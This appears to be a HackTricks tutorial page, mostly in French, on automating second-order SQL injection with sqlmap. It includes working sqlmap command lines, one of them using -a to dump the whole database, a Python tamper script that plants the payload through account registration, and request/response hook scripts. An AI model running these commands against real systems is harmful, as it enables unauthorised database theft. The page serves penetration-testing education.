Second Order Injection with SQLMap

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

SQLMap peut exploiter des Second Order SQLis.
Vous devez fournir :

  • La request où le sqlinjection payload va être sauvegardé
  • La request où le payload sera executed

La request où le payload de SQL injection est sauvegardé est indiquée comme dans n’importe quelle autre injection dans sqlmap. La request où sqlmap peut lire la sortie/l’exécution de l’injection peut être indiquée avec --second-url ou avec --second-req si vous devez indiquer une request complète depuis un fichier.

Simple second order example:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

Dans plusieurs cas cela ne suffira pas parce que vous devrez effectuer d’autres actions en plus d’envoyer le payload et d’accéder à une page différente.

Quand c’est nécessaire, vous pouvez utiliser un sqlmap tamper. Par exemple, le script suivant va enregistrer un nouvel utilisateur en utilisant le payload sqlmap comme email et se déconnecter.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Un tamper SQLMap est toujours exécuté avant de commencer une tentative d’injection avec un payload** et il doit retourner un payload. Dans ce cas, le payload ne nous importe pas, mais ce qui nous importe est d’envoyer certaines requêtes, donc le payload n’est pas modifié.

Donc, si pour une raison quelconque, nous avons besoin d’un flow plus complexe pour exploiter la second order SQL injection comme :

  • Créer un compte avec le payload SQLi dans le champ “email”
  • Logout
  • Login avec ce compte (login.txt)
  • Envoyer une requête pour exécuter la SQL injection (second.txt)

Cette ligne sqlmap aidera :

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

Options utiles dans des flux second-order réels

L’automatisation second-order échoue généralement parce que la requête de stockage du payload fonctionne, mais que la requête d’exécution est bruyante, stateful, ou protégée. Quand cela arrive, les flags suivants sont généralement plus utiles qu’ajouter davantage de payloads :

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: Utile lorsque la requête de stockage ou de déclenchement a besoin d’un nouveau jeton anti-CSRF à chaque tentative.
  • --live-cookies: Recharge les cookies avant chaque requête. Utile lorsqu’un navigateur/macro Burp actualise l’état de session en arrière-plan.
  • --safe-req and --safe-freq: Maintiennent le workflow actif lorsque l’application vous déconnecte ou invalide la session après quelques probes échouées.
  • --string, --not-string, --regexp, --code, --text-only: Utiles lorsque la second-order response contient des bannières, des publicités, des horodatages ou du contenu généré par les utilisateurs qui rend le diffing instable.

When --tamper is not enough

tamper.py reste le moyen le plus simple pour enregistrer un payload, se déconnecter, se reconnecter, puis déclencher l’exécution. Cependant, sur les cibles modernes, il est souvent plus propre de déplacer une partie de la logique vers des request/response hooks :

  • --preprocess: Modifie la requête HTTP complète avant son envoi. Utile lorsqu’un second-order flow a besoin d’un nonce supplémentaire, d’un paramètre supplémentaire ou d’une normalisation des headers.
  • --postprocess: Nettoie la réponse HTTP avant que sqlmap ne la compare. Utile lorsque le second-order sink est enveloppé dans du HTML dynamique et qu’un seul petit fragment est stable.

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Important limitations

  • Ne supposez pas que --second-req rejouera le même payload à l’intérieur d’un placeholder * dans la deuxième requête. Si la requête de trigger a aussi besoin de la valeur injectée (ou d’une version dérivée), un tamper personnalisé, --preprocess ou un proxy local est généralement requis.
  • Ne vous appuyez pas sur --eval pour la deuxième requête. La documentation officielle décrit --eval pour le flux de requête principal ; si la deuxième requête a aussi besoin de mutations à chaque tentative, gérez-les dans vos scripts helper à la place.

This pattern is especially useful when the payload is stored in places such as:

  • Filenames or image metadata that are queried later
  • Registration/profile fields later consumed by admin panels
  • Sorting/filtering preferences saved server-side and replayed later
  • Workflow state that is only executed after a preview, export, or moderation action

References

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks